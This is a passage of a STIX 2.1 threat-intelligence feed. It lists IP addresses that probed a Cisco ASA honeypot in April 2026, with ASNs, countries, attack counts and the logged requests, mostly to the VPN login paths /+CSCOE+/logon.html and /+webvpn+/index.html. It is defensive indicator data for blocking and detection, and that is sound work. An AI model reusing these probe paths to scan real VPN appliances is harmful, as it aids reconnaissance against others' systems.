      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.134']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T21:20:10.000Z",
      "valid_until": "2026-05-26T21:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T21:19:50.740Z",
          "last_seen": "2026-04-24T21:19:50.740Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T22:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: GB; ASN 211298 (Driftnet Ltd)",
      "id": "indicator--bba8298a-8873-4cc5-aa48-c4a86968830f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.247.137.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:20:11.000Z",
      "valid_until": "2026-05-26T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T22:10:48.574Z",
          "last_seen": "2026-04-24T22:10:48.574Z",
          "country": "United Kingdom",
          "country_code": "GB",
          "asn": 211298,
          "as_org": "Driftnet Ltd",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T22:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 400882 (Cyber Data LLC)",
      "id": "indicator--bcea692a-99d8-4a6b-a29e-3e6a40146ccd",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.162.40.188']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:20:11.000Z",
      "valid_until": "2026-05-26T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-24T21:42:09.825Z",
          "last_seen": "2026-04-28T06:02:43.394Z",
          "country": "United States",
          "country_code": "US",
          "asn": 400882,
          "as_org": "Cyber Data LLC",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T22:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--d6337791-4ad1-4395-a2cf-1ed9c1d98bed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.89.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:20:11.000Z",
      "valid_until": "2026-05-26T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T21:27:31.312Z",
          "last_seen": "2026-04-24T21:27:39.790Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T22:20:11.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 - geo: FR; ASN 213412 (ONYPHE SAS)",
      "id": "indicator--42ff731e-4d4a-438c-bb79-b40eda3e64a3",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '91.196.152.132']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T22:20:11.000Z",
      "valid_until": "2026-05-26T22:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-24T21:28:38.820Z",
          "last_seen": "2026-04-24T21:28:38.820Z",
          "country": "France",
          "country_code": "FR",
          "asn": 213412,
          "as_org": "ONYPHE SAS",
          "event_types": [
            "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--e3a2e689-ced0-495e-b92d-a3d4e8e14511",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.71.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:20:10.000Z",
      "valid_until": "2026-05-26T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-24T22:33:25.809Z",
          "last_seen": "2026-04-24T22:33:34.342Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-24T23:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--f7ef926c-3899-4874-a60b-6551536b3146",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.220.185.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-24T23:20:10.000Z",
      "valid_until": "2026-05-26T23:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 4,
          "first_seen": "2026-04-24T22:34:47.475Z",
          "last_seen": "2026-04-24T22:49:41.746Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET / HTTP/1.1\" 200 - geo: US; ASN 14987 (Rethem Hosting LLC)",
      "id": "indicator--19beff39-c32e-4ecb-86f1-ac51e3772916",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '104.152.52.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 2,
          "first_seen": "2026-04-25T00:37:20.287Z",
          "last_seen": "2026-04-25T00:37:20.952Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14987,
          "as_org": "Rethem Hosting LLC",
          "event_types": [
            "\"GET / HTTP/1.1\" 200 -",
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--5793b563-9dbc-456c-8eb5-2260da844a42",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '138.199.43.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 12,
          "first_seen": "2026-04-25T00:59:31.864Z",
          "last_seen": "2026-04-28T05:22:30.735Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--669f4a9f-4957-43dc-a145-12e721096cec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.171.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T00:24:19.925Z",
          "last_seen": "2026-04-25T00:24:28.616Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--2735fe31-a916-4743-a478-ff0cb9289a59",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.78.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T00:28:40.896Z",
          "last_seen": "2026-04-25T00:28:48.711Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--8bc8c1d2-b748-477c-a521-1af7811fcdaa",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.203']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T00:40:33.894Z",
          "last_seen": "2026-04-25T00:40:40.523Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: Request timed out: TimeoutError(The read operation timed out) geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--02779a85-0fb9-4021-b237-5f701b281499",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '44.220.188.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T00:49:47.081Z",
          "last_seen": "2026-04-25T00:49:53.673Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "Request timed out: TimeoutError(The read operation timed out)",
            "\"GET / HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T01:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /favicon.ico HTTP/1.1\" 404 - geo: US; ASN 14618 (Amazon.com, Inc.)",
      "id": "indicator--0b2b025a-d9a8-464c-9838-70744c8f802f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '54.166.112.195']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T01:20:15.000Z",
      "valid_until": "2026-05-27T01:20:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 1,
          "first_seen": "2026-04-25T00:53:54.110Z",
          "last_seen": "2026-04-25T00:53:54.110Z",
          "country": "United States",
          "country_code": "US",
          "asn": 14618,
          "as_org": "Amazon.com, Inc.",
          "event_types": [
            "\"GET /favicon.ico HTTP/1.1\" 404 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T02:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 136557 (Host Universal Pty Ltd)",
      "id": "indicator--32428159-c9e3-4882-baaa-d70a4075fd37",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '155.2.191.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:20:15.000Z",
      "valid_until": "2026-05-27T02:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T01:29:35.300Z",
          "last_seen": "2026-04-25T01:29:42.284Z",
          "country": "United States",
          "country_code": "US",
          "asn": 136557,
          "as_org": "Host Universal Pty Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T02:20:15.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 207990 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--867df612-f1a4-4d40-9b2b-8b9f66ddfec7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '185.141.119.155']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T02:20:15.000Z",
      "valid_until": "2026-05-27T02:20:14.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T01:49:35.214Z",
          "last_seen": "2026-04-25T01:49:41.999Z",
          "country": "United States",
          "country_code": "US",
          "asn": 207990,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 9009 (M247 Europe SRL)",
      "id": "indicator--7867635d-6f5e-40da-bf11-679575fb8bcb",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '146.70.168.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T03:20:10.000Z",
      "valid_until": "2026-05-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 15,
          "first_seen": "2026-04-25T02:58:33.197Z",
          "last_seen": "2026-04-28T02:37:09.707Z",
          "country": "United States",
          "country_code": "US",
          "asn": 9009,
          "as_org": "M247 Europe SRL",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--49669dd1-70ba-4f6e-92dc-2e068e3fc1b6",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.100.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T03:20:10.000Z",
      "valid_until": "2026-05-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 9,
          "first_seen": "2026-04-25T03:04:02.279Z",
          "last_seen": "2026-04-25T06:10:11.782Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T03:20:10.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 11878 (tzulo, inc.)",
      "id": "indicator--b98682d5-904f-4714-aa86-2a01c3f4e074",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.234.118.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T03:20:10.000Z",
      "valid_until": "2026-05-27T03:20:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-25T02:27:52.499Z",
          "last_seen": "2026-04-25T12:28:54.303Z",
          "country": "United States",
          "country_code": "US",
          "asn": 11878,
          "as_org": "tzulo, inc.",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T04:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 203020 (HostRoyale Technologies Pvt Ltd)",
      "id": "indicator--592b40a5-32e9-4a50-9fc3-83768de0f858",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '103.251.26.175']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:20:06.000Z",
      "valid_until": "2026-05-27T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 50,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 3,
          "first_seen": "2026-04-25T03:20:54.248Z",
          "last_seen": "2026-04-25T03:21:03.613Z",
          "country": "United States",
          "country_code": "US",
          "asn": 203020,
          "as_org": "HostRoyale Technologies Pvt Ltd",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T04:20:06.000Z",
      "description": "Attacker IP \u2022 CiscoASA / Seen in CiscoASA honeypot logs within the configured window. request: GET /+CSCOE+/logon.html HTTP/1.1\" 302 - geo: US; ASN 212238 (Datacamp Limited)",
      "id": "indicator--bdb7549a-1497-442c-8a30-9aa0d8f2fc12",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "ciscoasa",
        "honeypot"
      ],
      "modified": "2026-04-30T23:51:49Z",
      "name": "OTX pulse_name=CiscoASA \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '149.40.50.122']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-25T04:20:06.000Z",
      "valid_until": "2026-05-27T04:20:04.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "extensions": {
        "x_nadsec": {
          "sensor": "ciscoasa",
          "month": "2026-04",
          "attack_count": 6,
          "first_seen": "2026-04-25T03:25:44.101Z",
          "last_seen": "2026-04-28T07:34:29.698Z",
          "country": "United States",
          "country_code": "US",
          "asn": 212238,
          "as_org": "Datacamp Limited",
          "event_types": [
            "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
            "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
            "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
          ]
        }
      }
    },
    {
      "created": "2026-04-25T04:20:06.000Z",
